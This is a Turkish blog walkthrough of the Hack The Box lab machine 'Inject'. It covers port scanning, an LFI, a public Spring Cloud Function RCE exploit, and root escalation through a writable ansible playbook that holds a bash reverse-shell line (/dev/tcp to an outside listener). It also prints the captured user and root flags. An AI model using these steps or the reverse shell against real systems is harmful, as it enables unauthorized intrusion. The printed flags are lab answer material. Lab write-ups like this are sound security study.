İçeriğe geç

Inject

Sen af yolunu tut; iyiliği emret ve cahillerden yüz çevir!
Araf 199

Makine Adı Seviye OS Logo
Inject - HTB Kolay Linux

Walkthrough

nmap taraması sonucunda 22 ve 8080 portları açıktı.

PORT     STATE SERVICE     VERSION                         
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)                               
| ssh-hostkey:                                                                                                        
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)            
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)           
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)                                                                    
8080/tcp open  nagios-nsca Nagios NSCA                                                                                                                                                                                                      
|_http-title: Home                                                                                                                                                                                                                          
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel      

Daha sonrasında nikto, gobuster ile 8080'e baktım ve bir fileupload sayfası buldum. Bu sayfada çeşitli testler geçrkleştirdikten sonra LFI zafiyeti tespit ettim.


LFI 2 RCE işlemleri denedim ancak başarılı olamadım. Log poising işe yaramadı, sistemi php olduğundan kuşkuluydum ancak yine de denedim, başarılı olamadım. Daha sonrasında LFI'da normalde alışık olmadığım bir şey gördüm direkt dosya adı belirtmediğimde dizinde ls işlemi yaptığını gördüm. Bunun üzerinde dizinler arasında gezinmeye başladım.

Projenin bir spring projesi olduğunu anladım aklıma ilk seferde log4j geldi ancak denemelerimi yapmadan önce proje bağımlılıklarını kontrol etmek istedim. Teker teker buradaki sürümleri ve modülleri incelerken başka bir zafiyet tespit ettim.

Bu arada testler esnasında fark ettiğim bir konu oldu. Belili aralıklarla dosya yüklediğimiz sayfadaki fosyalar siliniyordu arkaplanda belirli zaman aralıklarında çalışan bir script olmalı belki hak yükseltme esnasında işime yarayabilir.

İnternette arattığımda https://github.com/randallbanner/Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE projesini buldum.

Dosyayı indirip, python dosyasındaki ip adreslerini değiştirdiğimde shell alabilidim.

Doğrusunu söylemek gerekirse spring framework'ü ile professyonel bir şekilde çalışmadığımdan dolayı zafiyetin ayrıntılarına bakmadım. Kendime bir süre sınırı koyduğum için de devam ettim. Başka bir yazıda paylaşmak için notlarıma ekledim.

user.flag dosyasını okumak istediğimde permition hatası alıyordum. Bunun üzerine phil kullanıcısı olmam gerektiğini anladım. Daha öncesinde LFI İle dosyaları incelerken home klasötü altında aşağıdaki dosyayı bulmuştum ssh denemelerimde işe yaramamıştı ancak su komutunda işe yaradı.


Flag:09ae3062deef2a25fa1af68e0731c1f7

Arkaplanda neler olduğunu anlamak çin pspy64'i indirdim ve monitor ettim. Monitor ettiğimde bir python dosyasının bir yml dosyasını çalıştırdığını gördüm ve chatgpt ile çeşitli araştırmalar yaptım.

İşte pspy4 çıktısı:


2023/07/17 16:16:02 CMD: UID=0     PID=66658  | 
2023/07/17 16:16:02 CMD: UID=0     PID=66660  | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml 
2023/07/17 16:16:02 CMD: UID=0     PID=66661  | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml 

İlgili path'e yazabildiğimi fark ettim:

f
$ cd /opt/automation/tasks/              
$ pwd
/opt/automation/tasks
$ ls
playbook_1.yml
$ cat *
- hosts: localhost
  tasks:
  - name: Checking webapp service
    ansible.builtin.systemd:
      name: webapp
      enabled: yes
      state: started
$ ls -al
total 12
drwxrwxr-x 2 root staff 4096 Jul 17 16:18 .
drwxr-xr-x 3 root root  4096 Oct 20  2022 ..
-rw-r--r-- 1 root root   150 Jul 17 16:18 playbook_1.yml

Chatgpt'ye sorduğumda bu yml dosyası ile aslında ilgili servisi yeniden başlattığının bilgisini bana verdi. Bende ilk kendim bir yeni servis oluşturmayı denedim ancak iznim olmadığı için yapamadım. Daha sonrasında konfig dosayası üzerinden script çalıştırabili miyim diye sorduğumda chatgpt bana yapabilirsin dedi. İşte chatgpt'nin cevabı:


Evet, belirttiğiniz playbook dosyasında, ansible.builtin.systemd modülünü kullanarak komut çalıştırabilecek şekilde yapılandırma yapabilirsiniz. İlgili görevde name parametresi webapp olarak belirtilmiştir ve state parametresi started olarak ayarlanmıştır. Bu, webapp adlı bir systemd servisinin başlatılmasını sağlar.

Eğer belirli bir komutu çalıştırmak istiyorsanız, ansible.builtin.command modülünü kullanarak aşağıdaki gibi bir yapılandırma yapabilirsiniz:


- hosts: localhost
  tasks:
  - name: Run custom command
    ansible.builtin.command:
      cmd: /path/to/your/command

Bu örnekte, /path/to/your/command yerine çalıştırmak istediğiniz komutun tam yolunu belirtmelisiniz. Bu görev playbook'u çalıştırıldığında, belirtilen komut çalıştırılacak ve sonuçları döndürülecektir.

Playbook dosyanızı bu şekilde düzenleyerek, istediğiniz komutları çalıştırabilir ve işlemleri otomatikleştirebilirsiniz.


Bunun üzerine aşağıdaki işlemleri yaptım ve dinleyicimi açıp bekeldim:

- hosts: localhost
  tasks:
  - name: Run custom command
    ansible.builtin.command:
      cmd: bash -c 'bash -i >& /dev/tcp/10.10.14.68/4444 0>&1'
┌──(root㉿ARCELIK-RED-TEAM)-[~]
└─# nc -lvp 4444           
listening on [any] 4444 ...
10.10.11.204: inverse host lookup failed: Unknown host
connect to [10.10.14.68] from (UNKNOWN) [10.10.11.204] 39486
bash: cannot set terminal process group (68167): Inappropriate ioctl for device
bash: no job control in this shell
root@inject:/opt/automation/tasks# id
idcd 
uid=0(root) gid=0(root) groups=0(root)
root@inject:/opt/automation/tasks# /root
cd /root
root@inject:~# ls
ls
playbook_1.yml
root.txt
root@inject:~# cat root.txt
cat root.txt
2eaf1f8d136b8caa32ba447fcf78b625
Kategori:Walkthrough

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir